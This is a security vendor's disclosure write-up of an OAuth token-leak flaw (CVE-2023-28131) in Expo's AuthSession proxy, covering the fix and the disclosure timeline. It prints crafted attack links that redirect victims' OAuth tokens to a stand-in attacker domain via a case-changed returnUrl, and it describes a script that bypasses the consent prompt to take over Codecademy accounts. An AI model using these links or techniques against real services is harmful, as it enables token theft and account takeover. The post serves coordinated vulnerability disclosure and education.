SBN

Salt Labs exposes a new vulnerability in popular OAuth framework, used in hundreds of online services

This post is the second in a series describing OAuth implementation issues that put companies at risk. We create these posts to share rich technical details, drawn from real-world use cases, to educate the broader industry on the nature of these errors, their potential impact, and how to avoid them to better protect API ecosystems.

This post details issues identified in Expo, a popular framework used by many online services to implement OAuth (as well as other functionality). The vulnerability in the expo-auth-session library warranted a CVE assignment – CVE-2023-28131. Expo created a hotfix within the day that automatically provided mitigation, but Expo recommends that customers update their deployment to deprecate this service to fully remove the risk (see the Expo security advisory on the topic).

The security gaps Salt Labs identified made services using this framework susceptible to credentials leakage, allowing:

  • Full account takeover, leading to identity theft, financial fraud, access to credit cards and more.
  • In certain cases, it also allows a malicious actor to perform actions on behalf of a compromised user in Facebook, Google, Twitter, and other online platforms.

Again, to fully mitigate these risks, Expo recommends that customers update their Expo deployment.

Background Information

OAuth (Open Authorization) is a modern, open authorization standard designed to allow cross-application access delegation – for example, allowing your application to read data from your Facebook profile. Combined with the proper extensions, OAuth can also be used for authentication – for example, to log into your application using Google credentials.

Our first blog post in this series presented how we could have exploited several OAuth vulnerabilities in Booking.com (a company with $16 billion in annual revenue) to take over accounts. In the Booking.com example, the company directly implemented the OAuth functionality as part of its site’s design and development life-cycle. Other online services may choose a different path, and take advantage of off-the-shelf services that provide OAuth functionality, to reduce their development overhead.

The main purpose of the Expo framework is to develop mobile applications. It allows developers to build high-quality native apps for iOS, Android, and web platforms using a single codebase. It provides a set of tools, libraries, and services that simplifies the development process. One of the included services is OAuth, which lets developers easily integrate a social sign-in component into their website.

One of the most important motivations for using an “off-the-shelf” framework such as Expo is to provide better security controls. We found that indeed, Expo is highly secure, however Expo is a big framework supporting many features other than just OAuth, making it hard to secure every part of the framework.

Evidently, when we inspected the OAuth front, it seems the door was left open just enough for us to be able to spot critical issues that have in turn affected the implementation of hundreds of Expo users.

How does OAuth work for authentication?

The following explanation is relevant to almost every website, and not specific for Expo implementation. If you already read our blog on Booking.com, or are familiar with OAuth, you can skip that explanation and go directly to the “The Expo framework” section below.

Assume you are John, and you want to connect to Randomsite.com using your Facebook account.

What happens when you click on “Login with Facebook”?

In steps 2-3:

After John clicks on login with Facebook, randomsite.com opens a new window to the following address:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.

In this address, the client_id tells Facebook that the App is randomsite.com.

If it’s the first time that John connects to randomsite.com, Facebook will ask John if he agrees to give randomsite.com permission to access his Facebook account (only to read his email address for authentication).

If it’s not the first time he’s connecting, this Facebook access will happen automatically.

Note the redirect_uri parameter – it tells Facebook where to send the token in Step 4-5.

In steps 4-5:

Facebook prepares a secret token for randomsite.com and redirects the browser back to redirect_uri. The exact redirection:

https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]

In steps 6-7:

randomsite.com reads the token from the URL and uses it to talk directly with Facebook using the following API:

https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token].

The response is [email protected].

The flow in the example is called “implicit grant type,” which is common in single-page applications and native desktop applications that don’t have a back end.

OAuth also uses an “explicit grant type,” which is similar to “implicit grant type” but the server (randomsite.com) receives a code instead of a token and needs to make an additional request to Facebook to exchange it to a token. This approach is more secure, but we’re using the implicit grant type example here because it is easier to understand.

Google, Apple, and other well-known vendors follow similar flows (across both implicit and explicit grant type). A newer method takes advantage of the PostMessage feature instead of a redirection, but we’re not addressing that use case in this post. Using redirection is still the most common approach.

The Expo framework

The Expo framework for mobile app development is used by 650,000 developers and big companies.

OAuth implementation at Expo

Before discussing challenges at real websites, let’s build our own simple application to see how it looks from the developer perspective.

First, we need to create a new app in Facebook (developers.facebook.com), and according to the Expo documentation, we also need to add a custom redirect_uri – https://auth.expo.io/@account_name/project_name in the Facebook configuration of our app. After adding those configurations, Facebook will agree to send the secret token to Expo, like it was our own website.

Yes, we just configured Facebook to send the secret token to a domain we don’t control – what can possibly go wrong?

Note we used Facebook for the example, but it applies to other vendors as well – Apple, Google, Twitter etc.

The second step is to write the actual application using the Expo framework. We can just copy-and-paste code from the official Expo documentation:

(Understanding the code is not important for the post)

Let’s see how it works – in other words, let’s look at what requests the mobile app is making:

It may seem like too much information, but if you look closely – Steps 2-5 are what you already saw in the beginning of the blog with the randomsite.com example.

In Steps 1 and 6, expo.io acts as a wrapper to the OAuth flow.

Let’s explain it step by step:

  1. When the user clicks “login with facebook” using the Mobile APP in Expo Go, it redirects to the user to the following link:

https://auth.expo.io/@moreisless3/me321/start?authUrl=https://www.facebook.com/v6.0/dialog/oauth?code_challenge=…&display=popup&auth_nonce=…&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile,email&returnUrl=exp://192.168.14.41:19000/–/expo-auth-session

  1. In the response, auth.expo.io set the following cookie: ru=exp://192.168.14.41:19000/–/expo-auth-session. The value RU will be later used as a Return Url in step 5. It then shows the user a confirmation message, and if the user approves – it redirects him to the Facebook login to continue the authentication flow:

https://www.facebook.com/v6.0/dialog/oauth?code_challenge=…display=popupauth_nonce=…&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile%20email

  1. User goes to the Facebook url and Facebook validates that  the redirect_uri parameter is indeed a value that was predefined in the configuration.
  1. If the user already signed in, Facebook will automatically redirect the user to: https://auth.expo.io/@moreisless3/me321#code={code}&access_token={token}
  2. (steps 5+6) The page https://auth.expo.io/@moreisless3/me321 has the following javascript code:

As you can see, the value returnURL is identical to the value RU in the cookie that was set in Step 2. It seems that this page (in the back end) reads the value RU from the cookie and puts it in the javascript code. The javascript redirects the user to that link with location.hash, which includes the secret token.

  1. We follow the redirection to exp:\\, which opens the mobile application. The mobile application can read the token from the link.

Let’s attack

In OAuth, the goal of the attacker is to steal the token or code of the victim. My general methodology in OAuth research is to cause unexpected behaviors of the flow by changing every parameter I can, to see how these manipulations advance me toward the ability to launch a successful attack.

In the case of Expo, I immediately noticed that in Step 6, Expo.io sends the token to a value that was provided in Step 1. What will happen if the attacker changes that value to his domain?

Reminder – this is the link  from Step1:

https://auth.expo.io/@moreisless3/me321/start?authUrl=https://www.facebook.com/v6.0%/dialog%/oauth?code_challenge=…&display=popup&auth_nonce=…&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile,email&returnUrl=exp://192.168.14.41:19000/–/expo-auth-session

This page reads the query parameter “returnUrl” and sets the cookie accordingly.

Let’s change the returnUrl to ​​hTTps://attacker.com (https is not allowed, so I tried to insert capitals letters and it worked), which sets the RU (Return Url)in the cookie to https://attacker.com.

We, as the attacker, send this link to the victim.

What the attacker expects:

Dan clicks on the malicious link (can be from either the website or mobile app – it doesn’t matter).

The link starts a login flow against https://auth.expo.io, which will redirect Dan to Facebook, which will redirect Dan back to https://auth.expo.io with a secret token.

At the last step of the flow, https://auth.expo.io will send the secret token to https://attacker.com

A potential snag … before Expo redirect Dan to Facebook, it shows him a confirmation message that he must approves:

While it is possible to trick Dan (the victim) to click on the message, we don’t consider this approach to be a smooth attack, and therefore we want to bypass this message and perform the attack without user interaction.

The most common trick is clickjacking. However, since Facebook is involved in the flow, it’s not possible to use iframe.

Manually bypass the confirmation message:

In Step 2, https://auth.expo.io automatically sets the cookie RU to https://attacker.com, before the confirmation message appears.

No matter what Dan choses, the RU is already set.  

What will happen if a hacker sends a second link to Facebook?

When Dan clicks on the first link:

https://auth.expo.io/@moreisless3/me321/start?authUrl=https://www.facebook.com/v6.0/dialog/oauth%3Fredirect_uri=https://auth.expo.io/@moreisless3/me321%26client_id=328%26response_type=code,token&returnUrl=hTTps://attacker.com

Expo.io will set the cookie RU to https://attacker.com

When Dan clicks on the second link:

https://www.facebook.com/v6.0/dialog/oauth?redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=328…

Facebook will redirect Dan back to Expo.io with a token, and then Expo.io sends the token to the value RU – https://attacker.com

Perfect!

The only problem? This flow is not feasible. Dan (the victim) will not click on two links.

The solution? Create a javascript exploit that opens those two links automatically.

And upload the exploit to my domain: https://example-domain.com

The exploit does two simple things:

  1. Open the first link to https://auth.expo.io, and close it before the victim has the chance to see the confirmation message. This link will set the value RU in the browser of Dan to our malicious domain.
  2. Open the second link to Facebook.

An example target: Codecademy.com

Using the exploit, we can steal a token from a victim. The next part is to use it to log into the victim’s account. We will demonstrate this account takeover using the Codecademy site.

Codecademy is a popular online platform that offers free coding classes across a dozen programming languages. Companies including Google, LinkedIn, Amazon, Spotfiy, and others use the site to help train employees, and the site boasts ~100 million users. It’s also a big customer of Expo.

The Codecademy OAuth flow looks similar to our local application:

The only difference is that Expo.io uses a different path – https://auth.expo.io/@codecademy/codecademy-go

Let’s change the exploit accordingly:

If the victim clicks on our link with the exploit, his token will automatically be passed to our domain.  

To complete the account takeover, we start a regular login flow, but we replace the token with the victim token.

The impact – 100s of additional targets

Codecademy.com is not alone. The landing page of Expo features lots of household brand names, companies with millions of users each.

To be clear – sites and applications using Expo are not necessarily vulnerable – the implementations need to use the AuthSession Proxy of Expo, which is part of the social-in component.

Instead of checking and reverse engineering every customer individually, we decided to obtain a list of customers that use https://auth.expo.io (AuthSession Proxy).

Expo has social media platforms like a forum and a Discord server, where customers can ask questions and post information about their applications.

We searched for the value “auth.expo.io/@”, and found 34 vulnerable companies.

We verified that the vulnerability exists in some of those targets – again, real companies with active websites and users.

We wanted to find even more customers, so we did a search on auth.expo.io/@ in GitHub.

Some of the results lead to real applications that you can download on Google Play. Those are small applications so we decided to not mention their names in the blog.

The mitigation

Expo was a pleasure to work with in resolving this vulnerability.

Expo no longer sets the RU cookie without end user approval. With this mitigation, the exploit no longer works without the victim’s approval.

The company also updated the confirmation message to be clearer.

Less than two weeks after our disclosure, Expo deprecated this service (Expo AuthSession Redirect Proxy – auth.expo.io). The company’s documentation now tells developers not to use it.

Expo communicated all these discoveries and changes to its customers in the following blog post:

https://blog.expo.dev/security-advisory-for-developers-using-authsessions-useproxy-options-and-auth-expo-io-e470fe9346df

Security vulnerabilities can happen in any website – it’s the response that matters.

Expo responded very quickly. The team released a first fix after only a few hours! We were very impressed by the commitment to security and willingness to take swift action to protect its customers. Well done, Expo!

Now it’s up to all users of Expo to ensure they’re no longer using this deprecated service.

To learn more about how Salt can help defend your organization from API risks, you can connect with a rep or schedule a personalized demo.

Disclosure Timeline

We worked through the following timeline in this coordinated disclosure process. Again, we thank Expo for taking action so quickly to resolve these critical vulnerabilities.

  • Salt Labs discovers the vulnerability in Expo and Codecademy.com: January 24, 2023
  • Salt Labs discloses technical details to Codecademy.com security team: February 6, 2023
  • Salt Labs discloses technical details to Expo security team: February 18, 2023
  • Expo security team confirms security disclosure and deploys a mitigation: February 18, 2023 (kudos to Expo for issuing the hot fix the same day the team learned of the vulnerability!)
  • Expo deprecates the service to remove the risk of accidental granting of access and publishes a blog post informing its customers: February 26, 2023  
  • Salt Labs confirms exploits are no longer working and security gaps have been resolved: February 26, 2023
  • CVE-2023-28131 published: April 24, 2023
  • Salt Labs sends Expo security team technical blog detailing the vulnerability: May 9, 2023
  • Salt marketing team shares draft of blog and press release with Codecademy media team: May 16, 2023
  • Salt marketing team shares draft of blog and press release with Expo media contact: May 17, 2023
  • Salt publishes blog and press release: May 24, 2023

*** This is a Security Bloggers Network syndicated blog from Salt Security blog authored by Aviad Carmel. Read the original post at: https://salt.security/blog/a-new-oauth-vulnerability-that-may-impact-hundreds-of-online-services